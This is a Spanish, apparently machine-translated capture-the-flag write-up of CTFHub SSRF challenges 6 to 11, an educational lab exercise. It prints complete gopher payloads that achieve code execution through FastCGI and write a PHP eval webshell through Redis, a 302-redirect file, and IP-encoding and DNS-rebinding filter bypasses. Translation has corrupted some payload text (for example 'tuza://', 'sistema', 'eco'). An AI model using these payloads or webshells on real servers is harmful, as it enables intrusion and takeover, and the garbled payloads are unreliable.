Explicación detallada de SSRF basada en CTFHub (Parte 2)

      Este artículo explicará brevemente SSRF (falsificación de solicitud de servidor). A través de las preguntas de ejemplo en CTFHub, permita a los lectores comprender los principios básicos, los métodos de utilización, los métodos de derivación, etc. de SSRF. La dirección de CTFHub es:

Tabla de contenido

Tema 6 Protocolo FastCGI

Método 1 Ejecución remota de código RCE

Método 2 cargar webshell + conexión espada hormiga

Pregunta 7 Protocolo Redis

Pregunta 8 Omisión de URL

Pregunta 9 Bypass de IP digital

Pregunta 10 302 Puente de salto

Pregunta 11 Omisión de reenlace de DNS

epílogo 


Consulte el blog anterior para obtener detalles sobre las primeras cinco preguntas:

https://blog.csdn.net/Bossfrank/article/details/130431117

Tema 6 Protocolo FastCGI

El punto de investigación de este tema es que SSRF ataca FastCGI a través del protocolo gopher. Para obtener detalles sobre qué es FastCGI, consulte el siguiente blog, y no lo explicaré. En pocas palabras, el protocolo FastCGI es un protocolo para el intercambio de datos entre el middleware del servidor y un backend de lenguaje determinado (PHP).

(46 mensajes) Análisis del protocolo Fastcgi && PHP-FPM vulnerabilidad de acceso no autorizado && Exp writing_php fcgiclient_mysteryflower's blog-CSDN blog

Método 1 Ejecución remota de código RCE

Este artículo utiliza una secuencia de comandos gopherus.py. Esta secuencia de comandos puede aprovechar las vulnerabilidades de SSRF y generar cargas útiles directamente para provocar la ejecución remota de código RCE o getShell. Para obtener la dirección de descarga, consulte mirrors/tarunkant/Gopherus · GitCode

Ejecute gopherus.py en el directorio correspondiente, ingrese

python2 gopherus.py –exploit fastcgi

 Luego ingrese al directorio index.php y ejecute ls

 El resultado de la operación es:

tuza://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20On %0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-- ---Hecho-por-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Luego codifique la carga útil generada nuevamente, el código es el siguiente: 

import urllib.parse

payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

La salida es:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500% 2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie% 2528%2527- ----Fabricado por SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Ponga este resultado en la url y, por supuesto, hay index.php en el directorio

Use el mismo método para leer el directorio raíz (no me pregunte cómo saber que la bandera está en el directorio raíz, ¡solo pregunte a la intuición!), Esta vez el comando de RCE es ls /

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
ls /

 El resultado de ejecutar el script gopherus es

tuza://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20On %0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28% 27-----Hecho por SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Luego realice la codificación de URL dos veces, el resultado es:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500% 2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529% 253Bdie%2528 %2527-----Hecho por SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Póngalo en la URL, encontró con éxito la estructura del directorio raíz y vio un flag_52cc1357979c158b0cb02c8ff00b83b1 al mismo tiempo. Debería ser la bandera que queremos.

 Así que nuestro próximo paso es cat /flag_52cc1357979c158b0cb02c8ff00b83b1

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
cat /flag_52cc1357979c158b0cb02c8ff00b83b1

 Luego codifíquelo nuevamente, el código es el mismo:

import urllib.parse

payload =\
"gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_52cc1357979c158b0cb02c8ff00b83b1%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
tmp = urllib.parse.quote(payload)
print(tmp)

El resultado de la segunda codificación de URL es:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500% 2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_52cc13 57979c158b0cb02c8ff00b83b1%2527%2529% 253Bdie%2528%2527-----Hecho por SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Póngalo en la URL y obtenga con éxito la bandera como ctfhub{3c246ea1822682d68cd03c2d}, como se muestra a continuación:

Método 2 cargar webshell + conexión espada hormiga

Aunque el primer método también puede obtener la bandera, es muy engorroso.Cada vez que el código remoto ejecuta un comando RCE, debe ejecutar el script gopherus = "codificación de URL secundaria =" poner la carga útil en la solicitud GET, y si no No sé la ubicación real de la bandera, no estoy seguro de cuántas instrucciones ejecutar para encontrarla. Entonces pensamos, simplemente cargue un webshell y luego use la espada de hormigas para conectarse para eliminar directamente este servidor, de modo que sea conveniente encontrar la bandera. También use el script gopherus para cargar webshell:

 

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php
echo "<?php eval(\$_POST[123]);?>" >1.php

La declaración para cargar el webshell es, el nombre es 1.php

echo "<?php eval(\$_POST[123]);?>" >1.php

La salida del script gopherus es:

tuza://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VAL UEallow_url_include%20%3D%20On %0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01 %04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20sistema%28%27eco%20%22%3C%3Fphp%20eval %28%5C%24_POST%5B123%5D%29%3B%3F%3E%22%20%3E1.php%27%29%3Bdie%28%27-----Hecho por SpyD3r---- -%0A%27%29%3B%3F%3E%00%00%00%00

Luego use el mismo método para codificar la URL dos veces, y el resultado es:

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500 %2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%250 2CONTENT_LENGTH93%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D% 2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500% 2500%2500% 2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255D%2504%2500%253C%253Fphp%2520sistema%2528%2527eco%2520%2522%25 3C%253Fphp% 2520eval%2528%255C%2524_POST%255B123%255D%2529%253B%253F%253E%2522%2520%253E1.php%2527%2529%253Bdie%2528%2527-----Hecho por SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Coloque el resultado codificado en la URL, y el webshell llamado 1.php debería cargarse correctamente, y luego conéctelo con Ant Sword, como se muestra en la figura a continuación:

¡La conexión es exitosa! Se obtuvo toda la lista de directorios, buscamos y encontramos que la bandera está oculta en el directorio raíz:

 Compruebe la bandera en el directorio raíz:

Pregunta 7 Protocolo Redis

La idea de esta pregunta es básicamente la misma que la pregunta anterior, excepto que el objetivo del ataque se cambia a Redis, y la idea es cargar un webshell y conectarlo con ant espada para encontrar la bandera en el directorio.

Redis es un popular sistema de gestión de datos en memoria de código abierto con un puerto predeterminado de 6379. El cliente y el servidor Redis se comunican a través de este puerto.Después de que el cliente se conecta al servidor Redis, puede leer y escribir los datos en él. Por lo tanto, este puerto también es un objetivo común para los atacantes .

Esta pregunta aún puede ser atacada usando gopherus, el comando es:

python2 gopherus.py –exploit redis
PHPShell

<?php eval($_POST["aaa"])?>

 El resultado de ejecutar el script gopherus es

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D% 0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4% 0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D% 0A%244%0D%0Aguardar%0D%0A%0A

Lo mismo que la pregunta anterior, pero también para codificar la url nuevamente (el código es el mismo)

import urllib.parse

payload =\
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22aaa%22%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
tmp = urllib.parse.quote(payload)
print(tmp)

El resultado de la operación es:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%25 0D%250A1 %250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522aaa%2522%255D%2529%253F%253E%250A%250A%250D%2 50A%252A4%250D %250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%2 52A4 %250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%25 0A%252A1%250D %250A%25244%250D%250AGuardar%250D%250A%250A

Luego agréguelo a la URL, espere mucho tiempo, muestra que se agotó el tiempo de espera de la puerta de enlace 504, como se muestra a continuación:

 Pero no debería afectar la carga de webshell, intentemos vincularlo con ant espada, la ubicación es /shell.php

  Continúe rebuscando y descubra que hay una bandera en el directorio raíz

Solo ábrelo. La bandera es ctfhub{f904cae1a1778830f6980455} 

Pregunta 8 Omisión de URL

A partir de este tema, se presentarán varios métodos de omisión al explotar las vulnerabilidades de SSRF.

Este tema dice que la URL solicitada debe contener http://notfound.ctfhub.com , intentemos usar algunas partes especiales de la URL para evitar esta restricción y luego abramos el enlace de la siguiente manera:

 Probemos primero a ver si podemos acceder a 127.0.0.1/flag.php con http, el resultado es el siguiente, que es igual a la primera página.

 Dijo que la URL debe comenzar con http://notfound.ctfhub.com . El núcleo de esta pregunta es que debe haber http://notfound.ctfhub.com en la URL, y la dirección a la que se accede es 127.0. 0.1/bandera.php.

Bien, entonces usamos http://[email protected]/flag.php, donde @ es la resolución principal del nombre de dominio, es decir, el nombre de dominio va seguido directamente del símbolo @ y el contenido antes el símbolo @ se considerará como un nombre de usuario, lo que equivale a acceder a 127.0.0.1/flag.php con el nombre de usuario de http://notfound.ctfhub.com. No importa cuál sea el nombre de usuario, la clave es ¡que la dirección después de @ es la dirección analizada!

 Esto pasa por alto con éxito.

Pregunta 9 Bypass de IP digital

 

Use url=file:///var/www/html/index.php para ver el código fuente, lo que indica que 127, 172, @, . y otros símbolos han sido prohibidos.  Probemos el efecto del acceso directo url=http:/ /127.0 .0.1/flag.php, realmente es este efecto:

Luego encuentre una manera de eludirlo. Se puede omitir en varias bases.

 Las direcciones IP se pueden expresar en diferentes bases.Aquí hay un sitio web para convertir direcciones IP en varias bases. Conversión de dirección IP (520101.com)

 Por ejemplo, decimal 2130706433 o hexadecimal 0x7F000001, hay muchas formas de omitir

 O utilice otras direcciones que apunten a 127.0.0.1, como localhost, http://0/ , etc.

Pregunta 10 302 Puente de salto

 Use el archivo para ver el código fuente, que no es muy diferente de la pregunta anterior.

 Intente usar el método de la pregunta anterior, desafortunadamente, puede obtener la bandera directamente al omitirla, y también puede omitirla con el sistema base).

Pero esta pregunta dice que use el salto 302, entonces debería usar otras ideas

Una es implementar un php redirigido 302 en la red pública y luego acceder a la ip de esta red pública, será redirigido a 127.0.0.1

El 302.php a implementar es el siguiente:

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1/flag.php");
    exit();
?>

Por ejemplo, para implementar 302.php en el vps de 111.111.111.222, solo necesitamos hacer url=111.111.111.222/302.php. Como no tengo un vps en la red pública, este método es inútil y la implementación del servidor local no es aceptable, porque esta pregunta también filtra 192.

La siguiente idea es usar enlaces cortos para saltar, como el siguiente sitio web, usa este sitio web para generar un enlace corto (límite de tiempo, los lectores no pueden copiar el mío directamente, tienes que generarlo tú mismo):

Wangzhiying URL corta-generación de enlace corto_anti-intercepción_método de salto personalizado_nombre de dominio personalizado_estadísticas de datos_interfaz API_herramienta de marketing potente (52dwz.cn)

 

El resultado es http://da4.cc/TFmj7 , entonces visitar este breve enlace es equivalente a visitar 127.0.0.1/flag.php, y escribir este breve enlace en la url, ¡es un éxito! 

 Las dos ideas son usar una página web como transferencia y redirigir a 127.0.0.1/flag.php nuevamente, y la URL del sitio web de transferencia puede pasar por alto el filtrado del servidor.

Pregunta 11 Omisión de reenlace de DNS

Use el archivo para ver el código fuente index.php y flag.php

 Se siente bastante diferente de la pregunta anterior, pero si usa localhost para acceder, le indicará que solo puede acceder desde 127.0.0.1

 Intente nuevamente para ver si la conversión hexadecimal se puede omitir y descubrió que el sistema hexadecimal puede

 Pero decimal no parece funcionar:

Sin embargo, mirando el título de este tema, la idea de resolver el problema debería ser usar DNS rebinding, aquí daremos una explicación detallada.

Para los parámetros de URL solicitados por el usuario, el servidor primero realizará un análisis de DNS y luego juzgará la dirección IP devuelta por el servidor DNS. Si está en la lista negra, pasará el filtro. Perder

Sin embargo, en todo el proceso existe una diferencia horaria entre la primera vez que se solicita el servicio DNS para la resolución del nombre de dominio y la segunda vez que el servidor solicita la URL, aprovechando esta diferencia horaria podemos realizar ataques DNS rebinding, utilizando DNS Rebinding tecnología, en Cuando se comprueba la IP por primera vez, se devuelve una IP legal, y cuando se inicia realmente la solicitud, se puede devolver la IP de la intranet que realmente queremos visitar

Para completar el ataque de reenlace de DNS, necesitamos un nombre de dominio y asignamos la resolución de este nombre de dominio a nuestro propio servidor DNS, escribimos el servicio de resolución en nuestro servidor DNS controlable y establecemos el tiempo TTL en 0, que es para evitar que A El servidor DNS almacena en caché los resultados de la resolución. De esta forma se puede realizar el ataque, el proceso completo de ataque es:

1. El servidor obtiene parámetros de URL, realiza la resolución de DNS por primera vez y obtiene una IP que no es de intranet

2. Al juzgar la IP obtenida, si se determina que no es una IP de la lista negra, pasará la verificación.

3. El servidor accede a la URL. Dado que el TTL establecido por el servidor DNS es 0, la resolución DNS se realiza de nuevo. Esta vez, el servidor DNS devuelve la dirección de intranet

4. Dado que se ha saltado la verificación, el servidor devuelve el resultado de acceder a los recursos de la intranet

Use el siguiente sitio web para realizar el reenlace de DNS

Servicio de enlace de DNS de brbndr.us (cmpxchg8b.com)

 

Se garantiza que una de las dos direcciones IP vinculadas sea 127.0.0.1. Lo he vinculado a 192.168.0.1 aquí, y el resultado es

7f000001.c0a80001.rbndr.us

Por lo tanto, nuestra url=7f000001.c0a80001.rbndr.us/flag.php, tenga en cuenta que este nombre de dominio es equivalente a vincular dos direcciones IP (solo una al mismo tiempo), porque es imposible determinar si la IP es 127.0 cuando Al realizar la verificación de dns .0.1, es posible que una solicitud no tenga éxito, simplemente actualice varias veces.

Como se muestra en la imagen, ¡la bandera se obtuvo con éxito!

epílogo 

Este blog explica en detalle las preguntas 6 a 11 de CTFHub sobre las vulnerabilidades de SSRF y presenta cómo los scripts de gopherus atacan a los servidores con vulnerabilidades de SSRF, incluidos dos middleware FastCGI y Redis, y también presenta varias formas de evitar los métodos de filtrado, como se muestra a continuación:

  1. El signo @ se pasa por alto
  2. Omisión decimal/hexadecimal
  3. Apunte a la omisión de dirección 127.0.0.1, como localhost, http://0/, etc.
  4. Omisión de redirección 302 (construir 302.php redirigido en VPS para apuntar a la bandera, omisión de dirección corta)
  5. Omisión de reenlace de DNS 

 En el blog de seguimiento, resumiré SSRF y otras vulnerabilidades web desde múltiples perspectivas, como el principio de SSRF, escenarios de ocurrencia, métodos de explotación, métodos de derivación y métodos de defensa, ¡y espero que los lectores los apoyen!

Supongo que te gusta

Origin blog.csdn.net/Bossfrank/article/details/130432593
Recomendado
Clasificación